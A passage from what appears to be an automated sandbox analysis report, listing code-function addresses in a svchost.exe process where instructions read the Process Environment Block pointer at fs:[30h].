Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393208A mov eax, dword ptr fs:[00000030h]	2_2_0393208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F60B8 mov eax, dword ptr fs:[00000030h]	2_2_039F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_039F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C80A8 mov eax, dword ptr fs:[00000030h]	2_2_039C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B20DE mov eax, dword ptr fs:[00000030h]	2_2_039B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0392C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039720F0 mov ecx, dword ptr fs:[00000030h]	2_2_039720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0392A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039380E9 mov eax, dword ptr fs:[00000030h]	2_2_039380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B60E0 mov eax, dword ptr fs:[00000030h]	2_2_039B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E016 mov eax, dword ptr fs:[00000030h]	2_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E016 mov eax, dword ptr fs:[00000030h]	2_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E016 mov eax, dword ptr fs:[00000030h]	2_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E016 mov eax, dword ptr fs:[00000030h]	2_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B4000 mov ecx, dword ptr fs:[00000030h]	2_2_039B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000 mov eax, dword ptr fs:[00000030h]	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6030 mov eax, dword ptr fs:[00000030h]	2_2_039C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A020 mov eax, dword ptr fs:[00000030h]	2_2_0392A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392C020 mov eax, dword ptr fs:[00000030h]	2_2_0392C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932050 mov eax, dword ptr fs:[00000030h]	2_2_03932050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6050 mov eax, dword ptr fs:[00000030h]	2_2_039B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395C073 mov eax, dword ptr fs:[00000030h]	2_2_0395C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D678E mov eax, dword ptr fs:[00000030h]	2_2_039D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039307AF mov eax, dword ptr fs:[00000030h]	2_2_039307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0393C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B07C3 mov eax, dword ptr fs:[00000030h]	2_2_039B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039347FB mov eax, dword ptr fs:[00000030h]	2_2_039347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039347FB mov eax, dword ptr fs:[00000030h]	2_2_039347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039527ED mov eax, dword ptr fs:[00000030h]	2_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039527ED mov eax, dword ptr fs:[00000030h]	2_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039527ED mov eax, dword ptr fs:[00000030h]	2_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_039BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930710 mov eax, dword ptr fs:[00000030h]	2_2_03930710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03960710 mov eax, dword ptr fs:[00000030h]	2_2_03960710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C700 mov eax, dword ptr fs:[00000030h]	2_2_0396C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396273C mov eax, dword ptr fs:[00000030h]	2_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396273C mov ecx, dword ptr fs:[00000030h]	2_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396273C mov eax, dword ptr fs:[00000030h]	2_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AC730 mov eax, dword ptr fs:[00000030h]	2_2_039AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C720 mov eax, dword ptr fs:[00000030h]	2_2_0396C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C720 mov eax, dword ptr fs:[00000030h]	2_2_0396C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930750 mov eax, dword ptr fs:[00000030h]	2_2_03930750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BE75D mov eax, dword ptr fs:[00000030h]	2_2_039BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972750 mov eax, dword ptr fs:[00000030h]	2_2_03972750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972750 mov eax, dword ptr fs:[00000030h]	2_2_03972750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B4755 mov eax, dword ptr fs:[00000030h]	2_2_039B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396674D mov esi, dword ptr fs:[00000030h]	2_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396674D mov eax, dword ptr fs:[00000030h]	2_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396674D mov eax, dword ptr fs:[00000030h]	2_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938770 mov eax, dword ptr fs:[00000030h]	2_2_03938770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770 mov eax, dword ptr fs:[00000030h]	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934690 mov eax, dword ptr fs:[00000030h]	2_2_03934690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934690 mov eax, dword ptr fs:[00000030h]	2_2_03934690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039666B0 mov eax, dword ptr fs:[00000030h]	2_2_039666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0396C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0396A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0396A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B06F1 mov eax, dword ptr fs:[00000030h]	2_2_039B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B06F1 mov eax, dword ptr fs:[00000030h]	2_2_039B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972619 mov eax, dword ptr fs:[00000030h]	2_2_03972619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE609 mov eax, dword ptr fs:[00000030h]	2_2_039AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394260B mov eax, dword ptr fs:[00000030h]	2_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E627 mov eax, dword ptr fs:[00000030h]	2_2_0394E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03966620 mov eax, dword ptr fs:[00000030h]	2_2_03966620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03968620 mov eax, dword ptr fs:[00000030h]	2_2_03968620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393262C mov eax, dword ptr fs:[00000030h]	2_2_0393262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394C640 mov eax, dword ptr fs:[00000030h]	2_2_0394C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03962674 mov eax, dword ptr fs:[00000030h]	2_2_03962674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F866E mov eax, dword ptr fs:[00000030h]	2_2_039F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F866E mov eax, dword ptr fs:[00000030h]	2_2_039F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A660 mov eax, dword ptr fs:[00000030h]	2_2_0396A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A660 mov eax, dword ptr fs:[00000030h]	2_2_0396A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E59C mov eax, dword ptr fs:[00000030h]	2_2_0396E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932582 mov eax, dword ptr fs:[00000030h]	2_2_03932582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932582 mov ecx, dword ptr fs:[00000030h]	2_2_03932582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03964588 mov eax, dword ptr fs:[00000030h]	2_2_03964588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039545B1 mov eax, dword ptr fs:[00000030h]	2_2_039545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039545B1 mov eax, dword ptr fs:[00000030h]	2_2_039545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B05A7 mov eax, dword ptr fs:[00000030h]	2_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B05A7 mov eax, dword ptr fs:[00000030h]	2_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B05A7 mov eax, dword ptr fs:[00000030h]	2_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039365D0 mov eax, dword ptr fs:[00000030h]	2_2_039365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0396A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0396A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E5CF mov eax, dword ptr fs:[00000030h]	2_2_0396E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E5CF mov eax, dword ptr fs:[00000030h]	2_2_0396E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039325E0 mov eax, dword ptr fs:[00000030h]	2_2_039325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C5ED mov eax, dword ptr fs:[00000030h]	2_2_0396C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396C5ED mov eax, dword ptr fs:[00000030h]	2_2_0396C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6500 mov eax, dword ptr fs:[00000030h]	2_2_039C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A04500 mov eax, dword ptr fs:[00000030h]	2_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535 mov eax, dword ptr fs:[00000030h]	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E53E mov eax, dword ptr fs:[00000030h]	2_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E53E mov eax, dword ptr fs:[00000030h]	2_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E53E mov eax, dword ptr fs:[00000030h]	2_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E53E mov eax, dword ptr fs:[00000030h]	2_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395E53E mov eax, dword ptr fs:[00000030h]	2_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938550 mov eax, dword ptr fs:[00000030h]	2_2_03938550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938550 mov eax, dword ptr fs:[00000030h]	2_2_03938550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396656A mov eax, dword ptr fs:[00000030h]	2_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396656A mov eax, dword ptr fs:[00000030h]	2_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396656A mov eax, dword ptr fs:[00000030h]	2_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039644B0 mov ecx, dword ptr fs:[00000030h]	2_2_039644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_039BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039364AB mov eax, dword ptr fs:[00000030h]	2_2_039364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039304E5 mov ecx, dword ptr fs:[00000030h]	2_2_039304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03968402 mov eax, dword ptr fs:[00000030h]	2_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03968402 mov eax, dword ptr fs:[00000030h]	2_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03968402 mov eax, dword ptr fs:[00000030h]	2_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A430 mov eax, dword ptr fs:[00000030h]	2_2_0396A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E420 mov eax, dword ptr fs:[00000030h]	2_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E420 mov eax, dword ptr fs:[00000030h]	2_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E420 mov eax, dword ptr fs:[00000030h]	2_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392C427 mov eax, dword ptr fs:[00000030h]	2_2_0392C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B6420 mov eax, dword ptr fs:[00000030h]	2_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392645D mov eax, dword ptr fs:[00000030h]	2_2_0392645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395245A mov eax, dword ptr fs:[00000030h]	2_2_0395245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E443 mov eax, dword ptr fs:[00000030h]	2_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395A470 mov eax, dword ptr fs:[00000030h]	2_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395A470 mov eax, dword ptr fs:[00000030h]	2_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395A470 mov eax, dword ptr fs:[00000030h]	2_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BC460 mov ecx, dword ptr fs:[00000030h]	2_2_039BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940BBE mov eax, dword ptr fs:[00000030h]	2_2_03940BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940BBE mov eax, dword ptr fs:[00000030h]	2_2_03940BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_039DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03950BCB mov eax, dword ptr fs:[00000030h]	2_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03950BCB mov eax, dword ptr fs:[00000030h]	2_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03950BCB mov eax, dword ptr fs:[00000030h]	2_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930BCD mov eax, dword ptr fs:[00000030h]	2_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930BCD mov eax, dword ptr fs:[00000030h]	2_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930BCD mov eax, dword ptr fs:[00000030h]	2_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938BF0 mov eax, dword ptr fs:[00000030h]	2_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938BF0 mov eax, dword ptr fs:[00000030h]	2_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03938BF0 mov eax, dword ptr fs:[00000030h]	2_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395EBFC mov eax, dword ptr fs:[00000030h]	2_2_0395EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_039BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AEB1D mov eax, dword ptr fs:[00000030h]	2_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395EB20 mov eax, dword ptr fs:[00000030h]	2_2_0395EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395EB20 mov eax, dword ptr fs:[00000030h]	2_2_0395EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F8B28 mov eax, dword ptr fs:[00000030h]	2_2_039F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F8B28 mov eax, dword ptr fs:[00000030h]	2_2_039F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6B40 mov eax, dword ptr fs:[00000030h]	2_2_039C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C6B40 mov eax, dword ptr fs:[00000030h]	2_2_039C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FAB40 mov eax, dword ptr fs:[00000030h]	2_2_039FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D8B42 mov eax, dword ptr fs:[00000030h]	2_2_039D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392CB7E mov eax, dword ptr fs:[00000030h]	2_2_0392CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03968A90 mov edx, dword ptr fs:[00000030h]	2_2_03968A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80 mov eax, dword ptr fs:[00000030h]	2_2_0393EA80
